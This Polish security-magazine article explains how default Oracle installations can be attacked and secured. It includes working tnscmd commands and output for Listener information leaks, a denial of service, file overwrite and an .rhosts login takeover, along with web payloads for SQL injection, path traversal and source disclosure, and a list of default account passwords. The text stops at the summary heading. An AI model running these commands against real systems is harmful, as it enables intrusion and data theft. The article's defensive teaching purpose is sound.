<<DZIAL_A>>

<<DZIAL_B>>

Oracle z punktu widzenia intruza

Wojciech Dworakowski

na CD

<<NA_CD | FIT=TOP>>

Produkty Oracle dominują na rynku produktów bazodanowych. Na tej platformie działa wiele serwisów związanych z udostępnianiem danych (również przez Internet). Bazy te są też niezwykle popularne w zastosowaniach korporacyjnych. Hasło marketingowe Oracle w roku 2002 brzmiało: *Oracle – The Unbreakable*. Czy rzeczywiście tak jest? W poniższym artykule spróbuje przybliżyć zagrożenia związane ze standardowymi instalacjami produktów Oracle.

Już na wstępie chcę zaznaczyć, że nie zamierzam odsądzać firmy Oracle od czci i wiary, potępiać posunięć marketingowych i sugerować że DBMS Oracle jest niebezpieczny czy też dziurawy jak przysłowiowe rzeszoto. Moim celem jest wykazanie, że każdy produkt jest w większym lub mniejszym stopniu narażony na błędy programistów i projektantów, niezależnie od tego co twierdzą hasła na sztandarach. Oracle 9i to dobry produkt bazodanowy, świadczy o tym chociażby udział w rynku, jednak nawet tak dużym firmom i tak renomowanym produktom zdarzają się wpadki. Należy o tym pamiętać i nie ufać bezgranicznie hasłom reklamowym. Nie bez kozery motto Narodowej Agencji Bezpieczeństwa USA brzmi *ufamy Bogu – wszystko inne sprawdzamy*.

Wszystkie opisywane błędy dotyczą instalacji standardowej. Da się ich uniknąć stosując poprawki i zalecenia producenta oraz eliminując zbędną funkcjonalność w instalacjach produkcyjnych.

Pierwsza część artykułu będzie dotyczyć ataków możliwych do przeprowadzenia z sieci lokalnej. Skupię się głównie na niedoskonałościach serwisu Oracle Listener. W drugiej części opiszę kilka zagrożeń związanych z serwerami aplikacji internetowych zbudowanych w oparciu o Oracle. Część ta będzie dotyczyć głównie modułów serwisu Apache, który wchodzi w skład rozwiązań aplikacyjnych Oracle.

Autor jest współwłaścicielem firmy SecuRing, koordynatorem prac zespołu i osobą odpowiedzialną za sporządzanie raportów. Sześć lat doświadczenia praktycznego w zakresie bezpieczeństwa IT. Prelegent na licznych konferencjach poświęconych bezpieczeństwu IT (m.in. CERT Secure, PLOUG/Oracle, Open Source Security, Windows Security). Prowadzi rubrykę poświęconą bezpieczeństwu w Biuletynie Polskiej Grupy Użytkowników Systemu Oracle. Uprzednio koordynował pracę zespołów konsultantów bezpieczeństwa firm ABA i BSI.

Zawodowo nie zajmuję się administracją serwerów Oracle. Moja praca wiąże się raczej z analizowaniem bezpieczeństwa systemów IT (testy penetracyjne, przeglądy konfiguracji). Z tego względu prezentowany materiał przyjmuje raczej punkt widzenia atakującego system niż administratora. Artykuł jest podsumowaniem ponad dwuletnich doświadczeń w testowaniu bezpieczeństwa systemów Oracle. Większość informacji pochodzi ze źródeł powszechnie dostępnych w Internecie.

Trochę historii

Produkty firmy Oracle przez wiele lat były uważane za aplikacje nie posiadające znaczących błędów związanych z bezpieczeństwem. Opinia ta wynikała najprawdopodobniej z nikłego zainteresowania badaczy tymi produktami, co znowu było spowodowane ich niską dostępnością. Żeby uzyskać dostęp do pełnych wersji systemów DBMS firmy Oracle należało kupić stosunkowo drogie licencje. Sprawy przyjęły inny obrót, gdy Oracle zaczęło udostępniać pełne wersje swoich produktów w Internecie. Wersje te można stosować do celów deweloperskich i testowych. Od około dwóch lat widać znaczne zainteresowanie tymi produktami wśród specjalistów zajmujących się testowaniem bezpieczeństwa aplikacji i wyszukiwaniem w nich błędów.

Przyniosło to też znaczącą poprawę w podejściu producenta do problemów bezpieczeństwa samego kodu wchodzącego w skład produktów Oracle. Wcześniej – Oracle pojmowało bezpieczeństwo tylko przez pryzmat mechanizmów zabezpieczających dane w samej aplikacji oraz zwiększających ich dostępność.

W roku 2002 Oracle opublikowało ponad 20 informacji o zagrożeniach w swoich produktach. Ponadto standardowe dystrybucje Oracle

Listing 1. Pozyskanie informacji o systemie – komenda TNS status

```
tnscmd status -h 10.1.1.100 -p 1521

sending (CONNECT_DATA=(COMMAND=status))
   to 10.1.1.100:1521
connect
writing 89 bytes
reading
. .......6.........@. ...........J........
  DESCRIPTION=
    TMP=
    VSNNUM=135291648
    ERR=0
    ALIAS=LISTENER
    SECURITY=OFF
    VERSION=TNSLSNR for Solaris:
        Version 8.1.6.3.0 - Production
    START_DATE=28-OCT-2002 16:22:44
    SIDNUM=1
    LOGFILE=/opt/oracle/8i/network/log/listener.log
    PRMFILE=/opt/oracle/8i/network/admin/listener.ora
    TRACING=off
    UPTIME=379500951
SNMP=OFF
```

zawierają w sobie komponenty Open Source – takie jak np. Apache – które też nie są wolne od błędów.

Oracle Listener

Na początek garść faktów na temat oprogramowania Oracle Listener. Jest to komponent odpowiedzialny przede wszystkim za komunikację między klientami a serwerem Oracle (również za komunikację międzyserwerową). Jest to element każdej instalacji Oracle DBMS. Listener jest procesem działającym na serwerze bazodanowym, którego zadaniem jest przyjmowanie zleceń od klientów. W systemach uniksowych jest to proces o nazwie `tnslsnr`, a w systemach Windows odpowiedni serwis. Listener nasłuchuje zleceń na porcie TCP 1521. Do komunikacji między Oracle Client a Listenerem jest wykorzystywany protokół TNS (Transparent Network Substrate).

Największe zagrożenia związane z Oracle Listener nie wymagają od atakującego żadnej wiedzy tajemnej. Nie są to klasyczne przepełnienia bufora wejściowego lub inne typowe błędy popełniane przez programistów (aczkolwiek takie też w nim można znaleźć). Największe słabości Listenera prawdopodobnie wynikają ze złych założeń przyjętych podczas projektowania tego oprogramowania. Słowem: *It's not a bug – It's a feature*. Przejdźmy jednak do konkretów.

Do atakowania Oracle Listenera można zastosować prosty skrypt perl o nazwie `tnscmd`. Można go uzyskać pod adresem *http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd*. Skrypt ten pozwala na wydawanie komend protokołu TNS.

Uzyskanie informacji o systemie

Standardowo Oracle Listener przyjmuje komendy od każdego i nie wymaga żadnej autoryzacji. Może to prowadzić do wielu nadużyć. Po pierwsze, dowolny użytkownik sieci, który jest w stanie nawiązać komunikację z portem listenera 1521 TCP, może uzyskać bardzo dużo informacji o systemie. Odpowiadają za to komendy *version* i *status* protokołu TNS:

```
tnscmd version -h adres_serwera -p 1521
tnscmd status -h adres_serwera -p 1521
```

Listener odpowiada na te zapytania zdradzając m.in.:

- dokładną wersję Oracle,
- rodzaj systemu operacyjnego,
- czas od uruchomienia instancji Oracle,
- ścieżki do plików z logami,
- opcje listenera (m.in. stan opcji *security*),
- rodzaj serwisów Oracle obsługiwanych przez Listenera,
- argumenty wywołania,
- kompletne środowisko (wartości wszystkich zmiennych systemowych), w jakim został wywołany listener.

Przykład pozyskania niektórych z tych informacji znajduje się na Listingu 1.

Dane te mogą posłużyć do przygotowania skutecznego ataku przeciwko systemowi operacyjnemu lub przeciwko samemu oprogramowaniu Oracle.

Prosty atak DoS

Standardowa konfiguracja umożliwia trywialny atak *denial of service* na Oracle Listener. Opcja SECURITY=OFF (patrz Listing 1) mówi o tym, że dla Listenera można wydawać komendy bez jakiegokolwiek uwierzytelnienia. Standardowo dostęp administracyjny do listenera nie jest zabezpieczony hasłem, więc potencjalny intruz może wydać komendę:

```
tnscmd stop -h oracleserwer -p 1521
```

Listener posłusznie zakończy swoje działanie. Jest to typowy, bardzo trywialny atak *Denial of Service* (DoS). Intruz nie zdobył dostępu do systemu ani do danych, ale skutecznie uniemożliwił korzystanie z systemu.

Przed tego typu atakiem można się zabezpieczyć ustawiając opcję *security* w listenerze i hasło na dostęp do poleceń administracyjnych.

Nadpisanie dowolnego pliku

Proces listenera (*tnslsnr*) zapisuje wszystkie zdarzenia w swoim logu. Położenie tego logu konfiguruje administrator. Można je odczytać zdalnie przez opisaną poprzednio

Listing 2. Nadpisanie dowolnego pliku do którego ma dostęp użytkownik oracle (w tym wypadku jest to plik .rhosts w katalogu domowym użytkownika *oracle*)

```
wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd "
(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER)     (VERSION=1) (VALUE=/home/oracle/.rhosts)))"

sending
      (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521
writing 205 bytes
reading
 .m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))
```

komendę protokołu TNS – *status*. Na Listingu 1 jest to wartość zmiennej LOGFILE. Co ciekawsze – za pomocą odpowiedniego zlecenia TNS położenie pliku logowania można zmieniać. Na dodatek, Listener ślepo przyjmuje każdą wartość, niezależnie od tego, czy wyspecyfikowany plik istnieje (w takim wypadku zostanie nadpisany), czy też nie (w takim wypadku zostanie stworzony). W rezultacie – intruz, który może komunikować się z portem 1521 serwera Oracle, ma możliwość nadpisania bądź utworzenia dowolnego pliku, do którego ma uprawnienia proces Oracle Listener. Standardowo na systemach uniksowych jest to użytkownik *oracle*, a na systemach Microsoftu użytkownik *LOCAL_SYSTEM* (sic!). W ten sposób intruz może zniszczyć pliki z danymi bazy, pliki konfiguracyjne czy też same binaria Oracle.

Skrypt *tnscmd* ma możliwość bezpośredniego wpisywania ciągów znaków, które wejdą w skład zlecenia TNS. Mając pewną wiedzę o tym protokole można skonstruować zlecenie zmiany pliku logowania. Przykład – przekierowanie logów do pliku */home/oracle/.rhosts* – jest pokazany na Listingu 2.

Przykładowy scenariusz ataku – przejęcie kontroli nad bazą

Po przekierowaniu logów do dowolnego pliku wszystkie informacje logowane przez Oracle Listener będą zapisywane do tego pliku. Listener nie zapisuje do logów zbyt wiele informacji, przykładowo nie zapisuje adresu IP ani nazwy hosta, z którego nadeszło połączenie. W związku z tym intruz atakujący Oracle jedną z powyższych metod nie zostanie ujawniony przez logi listenera. W logu są za to zapisywane są wszystkie informacje o błędach, wraz z cytatem nieprawidłowej komendy. Umożliwia to wpisanie do pliku pożądanej przez intruza informacji, co w pewnych warunkach może prowadzić do przejęcia kontroli nad systemem.

Poniżej przedstawię scenariusz ataku opierający się na wpisaniu odpowiedniej informacji do pliku *.rhosts* i wykorzystaniu serwisu rlogin. Uwaga: poniższy scenariusz należy traktować jedynie jako przykład. Zaprezentowane tu błędy umożliwiają o wiele szersze możliwości penetrowania systemów.

Najpierw intruz wydaje za pomocą programu tnscmd polecenie TNS nakazujące listenerowi na serwerze *oracleserwer* zmianę pliku logowania na */home/oracle/.rhosts* (Listing 2).

Jak widać na dalszej części listingu, listener na serwerze *oracleserwer* wykonał to zlecenie. Od tej pory wszystkie zapisy o działaniu listenera będą płynąć do pliku `/home/oracle/.rhosts` .

W systemach uniksowych w pliku *.rhosts* w katalogu domowym użytkownika zapisane są zdalne konta i nazwy bądź adresy IP hostów, które mogą się łączyć do tego systemu bez dalszego uwierzytelniania przez serwisy rlogin, rsh, rcmd. Celem intruza jest wpisanie do tego pliku swojego loginu i adresu IP swojego hosta.

Jak już wspominaliśmy, listener zapisuje do logów informacje o błędach, wraz z cytatem nieprawidłowej komendy. Można to wykorzystać to do wpisania swojego IP i nazwy użytkownika do pliku *.rhosts* (Listing 3). Ważne jest, żeby wpisywane dane były umieszczone w osobnej linii.

Jak widać listener zwrócił komunikat o błędzie, jednakże wpisał do swoich logów, a więc do pliku */home/oracle/.rhosts*, całą linię z błędną komendą. W tym momencie plik */home/oracle/.rhosts* (a więc obecny log

Listing 3. Wykorzystanie listenera do wpisana swoich danych do dowolnego pliku

```
wojdwo@behemot$ ./tnscmd -h oracleserwer \
   --rawcmd "(CONNECT_DATA=((
10.1.1.223 wojdwo
"

sending (CONNECT_DATA=((
10.1.1.223 wojdwo
to oracleserwer:1521
writing 93 bytes
reading
.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)
(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(C
                      ODE=303)(EMFI=1))))
```

Listenera) wygląda tak jak na Listingu 4.

Linię `10.1.1.223 wojdwo` intruz umieścił w pliku *.rhosts* wykorzystując niedoskonałości Oracle Listener. Zostanie ona prawidłowo zinterpretowana przez system, w rezultacie intruz może zalogować się zdalnie jako użytkownik *oracle*, bez żadnego uwierzytelnienia. Listing 5 ilustruje zdalne połączenie z serwerem *oracleserwer* i uzyskanie uprawnień użytkownika *oracle*.

Podsumowując: zdalnie działający intruz zdołał, odpowiednio manipulując serwisem Oracle Listener, osiągnąć uprawnienia użytkownika *oracle* w systemie operacyjnym.

Oczywiście ten przykładowy scenariusz zadziała tylko wtedy, gdy system operacyjny udostępnia możliwość zdalnego logowania się przez rlogin oraz korzysta z plików *.rhosts* do autoryzowania zdalnych użytkowników (standardowa konfiguracja większości uniksów). Tak jak powiedziałem wcześniej – jest to tylko przykład. Można skonstruować podobny atak manipulujący kluczami ssh i w rezultacie, dający dostęp do systemu via ssh. Można również przeprowadzić podobne ataki na Oracle działające na platformach Windows. Byłyby one o wiele skuteczniejsze i groźniejsze nie tylko dla bazy danych ale też dla samego systemu, z uwagi na to, że intruz uzyskałby uprawnienia *Local System*.

Powyższe zagrożenia są tym bardziej godne uwagi, że występują po dziś dzień, we wszystkich wersjach Oracle zawierających Oracle Listener, łącznie z najnowszą, chociaż zagrożenie jest znane od 2000 roku. Łata wypuszczona przez Oracle (#1361722) wprowadza do pliku konfiguracyjnego Listenera (*listener.ora*) dodatkowy parametr – *ADMIN_RESTRICTIONS*. Włączenie tego parametru uniemożliwia dynamiczną zdalną rekonfigurację listenera. Jednak – dla zachowania zgodności wstecz – standardowo parametr ten jest wyłączony.

Inne ciekawe błędy Listenera

Jak już wspomniałem – powyżej zaprezentowane błędy są o tyle ciekawe, że nie są przeoczeniem koderów, lecz błędami popełnionymi w fazie projektowania produktu. Oczywiście, Oracle Listener nie jest wolny od bardziej tradycyjnych zagrożeń wiążących się np. z brakiem walidacji danych wejściowych. Informacje o innych błędach są dostępne m.in. na stronie *http://otn.oracle.com/deploy/security/alerts.htm* oraz w prowadzonym przeze mnie Biuletynie Bezpieczeństwa Oracle, który ukazuje się w gazetce Polskiej Grupy Użytkowników Systemu Oracle. Jest ona dostępna on-line pod adresem podanym w Ramce *W Sieci*.

Listing 4. Zawartość pliku /home/oracle/.rhosts po nadpisaniu go przez Oracle Listener

```
12-SIE-2002 15:44:05 * log_file * 0
12-SIE-2002 15:44:37 * service_register * ora1 * 0
12-SIE-2002 15:44:58 * 1153
TNS-01153: Failed to process string: (CONNECT_DATA=((
10.1.1.223 wojdwo
 NL-00303: syntax error in NV string
```

Listing 5. Rezultatem ataku jest możliwość zdalnego zalogowania się do systemu z uprawnieniami użytkownika Oracle

```
wojdwo@behemot$ rlogin -l oracle oracleserwer
Linux oracleserwer Mon Aug 12 15:46:15 EST 2002
   i686 unknown

oracle@oracleserwer:~$ id
uid=1001(oracle) gid=103(oinstall)
 groups=103 (oinstall),104(dba),105(oper)
```

Poniżej przedstawię dwa zagrożenia, które wydały mi się szczególnie ciekawe. Oba są poprawione przez producenta i istnieją na nie odpowiednie łaty.

Ciekawym błędem (przykład jego wykorzystania przedstawia Listing 6) popełnionym przez programistów tworzących Oracle Listener jest błąd pozwalający na ujawnienie informacji przekazywanej w poprzednim połączeniu innego użytkownika z listenerem. Błąd programisty polega prawdopodobnie na tym, że bufor, do którego są przyjmowane komunikaty, nie jest każdorazowo czyszczony. W rezultacie ustawiając w odpowiednim parametrze większą niż w rzeczywistości długość wydawanej komendy TNS (`oracleserwer --cmdsize 30`), można odczytać część komendy wydanej do listenera przez poprzedniego użytkownika (`COMMAND=status`).

Inny ciekawy błąd wiąże się z komendą `SERVICE_CURLOAD`. Do wysłania tej komendy można wykorzystać program tnscmd:

```
tnscmd -h 192.168.0.200 --rawcmd "(CONNECT_
                    DATA=(COMMAND=SERVICE_CURLOAD))"
```

W rezultacie proces listenera (tnslsnr) konsumuje 99% czasu procesora. Znowu – bardzo trywialny atak *denial of service*.

Listing 6. Manipulacja protokołem TNS; w rezultacie listener zdradza fragment poprzedniej komendy

```
wojdwo@behemot$ ./tnscmd --rawcmd " " -h oracleserwer
                        --cmdsize 30
sending   to oracleserwer:1521
Faking command length to 30 bytes
writing 59 bytes
reading
 ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)
(ARGS='CONNECT_DATA=(COMMAND=status)'))
 (ERROR=(CODE=303)(EMFI=1))))
```

Oracle Listener – uwagi

Przedstawione powyżej ataki związane z Oracle Listener wymagają oczywiście żeby intruz mógł komunikować się z tym procesem. Musi on mieć możliwość wysyłania pakietów do portu 1521/tcp. Z tego też powodu większość administratorów ignoruje te zagrożenia, ponieważ chronią przed nimi firewalle, które w większości wypadków blokują ruch na ten port. Jak w rzeczywistości wygląda ograniczanie dostępu do portów serwerów bazodanowych mogliśmy się przekonać pod koniec stycznia 2003 przy epidemii robaka Slammer (Sapphire), atakującego serwery MS-SQL. Poza tym większość intruzów nie atakuje przez frontowe drzwi. Zamiast próbować zaatakować bezpośrednio serwer Oracle, dużo łatwiej jest przejąć kontrolę nad jakąś stacją roboczą w atakowanej sieci i stąd bez większych problemów przeprowadzić atak na Oracle Listener.

Oczywiście istnieją możliwości przynajmniej częściowego zabezpieczania się przed powyższymi zagrożeniami. Podstawowym sposobem ochrony jest włączenie w listenerze opcji *security* i ustawienie hasła dostępu. Poza tym można limitować adresy IP, które mogą łączyć się do listenera (dyrektywy `tcp.validnode_checking` i `tcp.invited_nodes`) oraz zabronić dynamicznej modyfikacji plików konfiguracyjnych (np. logów) przez włączenie opcji `ADMIN_RESTRICTIONS`.

Apache a'la Oracle

W ostatnich latach bardzo popularną formą udostępniania informacji stały się serwisy WWW połączone z bazami danych. W takiej architekturze po stronie serwera WWW uruchamiane są pewne metody dynamiczne (np. PHP, ASP, JSP), które pobierają dane z bazy danych i generują strony WWW. Całość tworzy aplikacje webową. Klientem takiej aplikacji jest oczywiście zwykła przeglądarka WWW. Oracle i inni producenci produktów bazodanowych dostrzegli ten trend i uzupełnili swoje produkty o możliwość dostępu do danych przez przeglądarki WWW. W przypadku Oracle serwerem WWW jest Oracle HTTP Listener. Jest to drugi (poza standardowym Listenerem) sposób komunikacji z serwerem Oracle, a więc również potencjalne miejsce ataków z zewnątrz systemu.

Oracle HTTP Listener to dobrze znany serwer Apache serii 1.3.x z dopisanymi przez Oracle modułami, które integrują go z Oracle DBMS. Kod wykonywany po stronie serwera może być tworzony przy pomocy wielu różnych metod. Najważniejsze to:

- PL/SQL – język proceduralny Oracle; za jego interpretację w przypadku skryptów *server-side* odpowiada moduł *mod_plsql.*
- Skrypty JSP i serwlety Java – obsługiwane przez JServ (*mod_jserv* statycznie zlinkowany z Apache) lub Oracle Containers for Java (OC4J). Można powiedzieć, że jeśli chodzi o serwery aplikacjito Oracle stawia na Javę. W związku z tym metody te są rozszerzone o różne ciekawe możliwości, np. XSQL – integracja z XML, czy też SQLJ – bezpośrednie wykonywanie zapytań SQL z wnętrza skryptów Java.
- Inne tradycyjne metody, jak np. skrypty CGI czy Perl (*mod_cgi* i *mod_perl* są standardowo włączone).

Ponadto Oracle udostępnia całe mnóstwo technologii uzupełniających, takich jak zaawansowane buforowanie stron dynamicznych (Oracle Web Cache), framework do tworzenia stron portalowych (Oracle Portal), implementacje WebDAV i inne.

Nietrudno się domyślić, że większość z tych modułów dodatkowych posiada bardzo długą i szybko rozwijającą się listę zagrożeń z nimi związanych. Jest to sytuacja typowa dla oprogramowania, które jest bardzo szybko rozwijane. Oczywiście – w standardowej instalacji jest włączona większość z tych rozszerzeń. Jak wskazuje praktyka, mało która instalacja produkcyjna ma konfigurację mocno odbiegającą od standardowej, a administratorzy z braku wiedzy o wszystkich zaawansowanych komponentach, wolą je zostawić niż narażać się na destabilizację serwera. Potwierdza się tu stara zasada, że bezpieczeństwo jest odwrotnie proporcjonalne do udostępnianej przez oprogramowanie funkcjonalności.

Poniżej przedstawię kilka przykładów ciekawych ataków wykorzystujących luki w modułach Oracle HTTP Listener. Wszystkie opisane zagrożenia są usuwalne przez nałożenie odpowiednich łat producenta. Dość charakterystyczna jest jednak ich trywialność oraz to, że praktycznie wszystkie zostały ujawnione na przestrzeni ostatniego roku.

Ujawnienie kodu źródłowego skryptów JSP

Java Server Pages (JSP), to jedna z metod, za pomocą których serwer może generować strony WWW z zawartością dynamiczną, którą stanowią informacje pobrane z bazy danych. Gdy klient (przeglądarka WWW) poprosi o stronę o rozszerzeniu JSP, to standardowo serwer wyszukuje odpowiedni kod Java, kompiluje go i wykonuje. Rezultat wykonania w postaci strony HTML jest zwracany do przeglądarki. Podczas tego procesu w ścieżce */_pages* serwera WWW tworzone są pliki tymczasowe. Jeden z takich plików – z rozszerzeniem *java* – zawiera kod źródłowy wykonywanego skryptu.

W standardowej konfiguracji Apache rozpowszechnianego z Oracle katalog */_pages* jest udostępniany przez serwer, w związku z tym intruz może odczytać kod źródłowy stron JSP obsługiwanych przez serwer.

Przykład:

Najpierw należy uruchomić atakowany skrypt JSP, po to by serwer pobrał kod i go skompilował:

```
http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp
```

Teraz można odczytać źródło skryptu JSP odwołując się do odpowiedniego pliku w ścieżce */_pages*:

```
http://10.1.1.100/_pages/_demo/_sql/_bean/_
                        ConnBeanDemo.java
```

Żeby obronić się przed tym zagrożeniem wystarczy zabronić w konfiguracji Apache dostępu do ścieżki */_pages*. Wszelkie skrypty JSP powinny też być przechowywane w postaci prekompilowanej. W ten sposób uniknie się potencjalnie niebezpiecznej konieczności kompilowania skryptów w momencie dostępu do nich, co przy okazji poprawi też wydajność.

Skrypty demo

Wiele zagrożeń wiąże się z umieszczonymi w standardowej instalacji Oracle skryptami demonstrującymi funkcjonalność Oracle jako serwera aplikacji. Skrypty te są umieszczone w ścieżce */demo*. Wiele z tych przykładów nie jest niestety dobrymi wzorcami do naśladowania, zwłaszcza jeśli chodzi o zasady bezpiecznego programowania. Duża ilość skryptów demonstrujących pobieranie danych z bazy na podstawie zmiennych pochodzących od użytkownika jest podatna na ataki typu *SQL injection*. Dobra praktyka administracyjna nakazuje usunięcie z serwerów produkcyjnych wszelkiej zbędnej funkcjonalności i zawartości, jednak pozostawianie skryptów demo jest niestety spotykane bardzo często w instalacjach produkcyjnych (a wręcz nagminnie w serwerach deweloperskich wystawionych do Internetu).

Przykładem niech będzie skrypt */demo/sql/tag/sample2.jsp*. Skrypt ten jest interfejsem do tabeli zawierającej dane o zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla w przeglądarce formularz WWW, w którym użytkownik wpisuje zapytanie. Np. wpisanie *sal=800* powoduje wykonanie zapytania *select ename,sal from scott.emp where sal=800*. Problem polega na tym, że zapytanie to jest konstruowane przez proste wklejenie ciągu znaków pobranego od użytkownika, bez żadnej walidacji. Intruz może wykorzystać ten skrypt do przeczytania dowolnych danych z bazy, do których ma dostęp użytkownik z jakiego uprawnieniami działa skrypt *sample2.jsp* (standardowo – użytkownik SCOTT) – również danych systemowych. Przykładowo – wpisanie ciągu *sal=800 union select username,userid from all_users* spowoduje wykonanie zapytania *select ename,sal from scott.emp where sal=800 union select username,userid from all_users* .

Jeśli już jesteśmy przy atakach techniką SQL-injection, to warto wspomnieć, że w wypadku Oracle nie jest możliwe doklejanie po znaku średnika osobnej komendy SQL, tak jak to jest w przypadku PostgreSQL czy też MS-SQL. Powszechnie stosowaną techniką jest (tak jak w powyższym przykładzie) doklejenie swojej części zapytania przez `UNION SELECT`.

Interfejsy administracyjne

Stosunkowo proste ale bardzo skuteczne ataki można również przeprowadzać za pomocą interfejsów do administrowania przez WWW. W standardowej instalacji Oracle spora część stron administracyjnych nie wymaga uwierzytelnienia (sic!). URL-e kilku z takich stron przedstawione są poniżej:

- http://10.1.1.100/pls/admin_/gateway.htm,
- http://10.1.1.100/oprocmgr-status,
- http://10.1.1.100/servlet/Spy.

Moduł mod_plsql

Module Apache *mod_plsql* służy do interpretowania na serwerze WWW kodu PL/SQL, który jest natywnym językiem baz Oracle. W module tym ujawniono wiele klasycznych błędów.

Jednym z nich jest przepełnienie bufora wejściowego w skrypcie służącym do wyświetlania pomocy. Wysłanie zlecenia typu:

```
http://10.1.1.100/pls/simpledad/admin_/help/
                        AAAAAAAA....(>1000 znaków)
```

powoduje błąd segmentacji w procesie obsługującym to zlecenie. Za pomocą techniki *buffer-overflow* możliwe jest wykonanie kodu intruza na serwerze, w kontekście procesu serwera WWW (*httpd*).

Innym atakiem, na jaki jest podatny *mod_plsql*, jest zastosowanie techniki *double decode*. Technika ta polega na przesłaniu do serwera zlecenia zawierającego znaki specjalne (np. ukośnik) dwukrotnie zakodowane heksadecymalnie. W rezultacie możliwe jest obejście restrykcji serwera i odczytanie dowolnego pliku bądź katalogu w przestrzeni serwera WWW.

Przykład:

Odczytanie pliku konfiguracyjnego *plsql.conf*:

```
http://10.1.1.100/pls/simpledad/admin_/help/
                        ..%255Cplsql.conf
```

Wykorzystanie standardowych pakietów PL/SQL

W skład standardowej instalacji Oracle wchodzi dość pokaźna biblioteka zawierająca różne pakiety procedur PL/SQL. W starszych wersjach Oracle wszystkie pakiety są udostępnianie również przez Internet, za pomocą *mod_plsql*. Składnia wywołania procedury PL/SQL przez serwer WWW wygląda następująco:

```
http://ip.ip.ip.ip/pls/DAD/nazwa_pakietu.nazwa_procedury
```

DAD (ang. *Database Access Descriptor*) to struktura opisująca sposób łączenia się do bazy. W standardowej instalacji jest dostępny przykładowy deskryptor o nazwie *simpledad*.

Poniżej przedstawię przykład ataku za pomocą procedur z pakietu *owa_util*.

- Sprawdzenie działania pakietu *owa_util*:

```
http://10.1.1.100/pls/simpledad/owa_util.signature
```

- Ujawnienie kodu źródłowego dowolnego pakietu PL/SQL (np. file_util):

```
http://10.1.1.100/pls/simpledad/owa_util.showsource?cname=
                        file_util
```

- Wykonanie nieautoryzowanych zapytań do bazy:

```
http://10.1.1.100/pls/simpledad/owa_util. listprint?p_t
                        heQuery=select%20*%20from%20all_
                        users&p_cname=&p_nsize=
```

Inne potencjalnie interesujące pakiety PL/SQL to np:

- *htp* – procedury pozwalające na obsługę protokołu HTTP,
- *tcp* – procedury obsługi protokołu TCP.; pozwalają m.in. na nawiązanie połączenia zwrotnego (wychodzącego),
- *file_util* – procedury dostępu do plików, umożliwiają np. pobranie dowolnego pliku z serwera.

Administrator może obronić się przed wykorzystaniem tych pakietów przez ustawienie parametru *exclusion_list* w pliku konfiguracyjnym *wdbsrv.app*. W standardowej konfiguracji Oracle 9i parametr ten jest ustawiony. W starszych wersjach nie jest on włączony.

Odczytanie konfiguracji XSQL za pomocą servleta XSQLServlet

Plik *XSQLConfig.xml* zawiera informacje o konfiguracji rozszerzeń XSQL. Między innymi nazwę i hasło użytkownika z jakiego uprawnieniami moduł XSQL łączy się do bazy danych. Plik ten znajduje się w przestrzeni serwera WWW, w ścieżce */xsql/lib/XSQLConfig.xml*. Serwer zabrania dostępu do tego pliku a bezpośrednia próba dostępu powoduje zwrócenie komunikatu „403 Forbidden". Ponieważ jest to plik XML, to da się go odczytać wykorzystując standardowo udostępniany servlet *XSQLServlet*:

```
http://10.1.1.100/servlet/oracle.xml.xsql.XSQLServlet/
                        xsql/lib/XSQLConfig.xml
```

Aplikacje WWW – uwagi

Powyższe przykłady ataków na oprogramowanie integrujące bazę Oracle z Internetem to jedynie wybór kilku bardziej interesujących metod. W rzeczywistości lista jest znacznie dłuższa.

Mimo wszystko błędy popełnione przez producenta platformy jaką jest serwer aplikacji nie są tak kluczowe, jak błędy popełniane przez twórców udostępnianych przez ten serwer aplikacji WWW. Sercem każdej instalacji typu serwer aplikacyjny jest oprogramowanie stworzone ściśle do określonych potrzeb. Programy te w postaci skryptów PL/SQL, JSP, serwletów Java itp. działają na serwerach WWW i komunikują się z bazą danych. Pamiętajmy o tym, że każdy błąd popełniony przez programistę w tego typu skryptach może owocować nieobliczalnymi skutkami. Skrypty te są o tyle groźne, że ich istotą działania jest interakcja z często anonimowym użytkownikiem z Internetu. A ponieważ używają one protokołu HTTP zagrożenia z nimi związane nie dają się kontrolować za pomocą tradycyjnych mechanizmów obrony jakimi są firewalle i IDS-y. Jedynym środkiem ochrony jest uważny audyt kodu przez odpowiednich fachowców.

Uwagi uzupełniające

Poza zaprezentowanymi tutaj metodami ataku warto wspomnieć o ustawieniach standardowych Oracle, które mogą ułatwić zadanie intruzowi. Kuriozalnym wręcz przykładem są tu powszechnie znane konta i hasła obecne w standardowej instalacji Oracle. W Internecie można znaleźć listę ponad 100 kont standardowo instalowanych przez Oracle 8i/9i oraz produkty towarzyszące. Z reguły są to wewnętrzne konta systemu lub konta związane z aplikacjami demo. W Oracle 8i (8.1.7) kilka z tych kont ma bardzo wysokie uprawnienia:

- CTXSYS (hasło CTXSYS) – uprawnienia DBA (administrator bazy),
- TRACESVR (hasło TRACE) – uprawnienia *select any table*,
- MDSYS (hasło MDSYS) – zestaw bardzo wysokich uprawnień.

Charakterystyczne jest to, że konta te wiążą się z marginalną funkcjonalnością Oracle. Np. CTXSYS to konto potrzebne do działania pakietu potrzebnego do kontekstowego przeszukiwania dokumentów, a MDSYS do obsługi danych wielowymiarowych (np. w systemach GIS).

Producent zaleca usunięcie lub zablokowanie kluczowych kont o ile dana funkcjonalność nie jest używana, jednak spora liczba administratorów (nie tylko Oracle) nie bierze pod uwagę tych zaleceń.

Podsumowanie

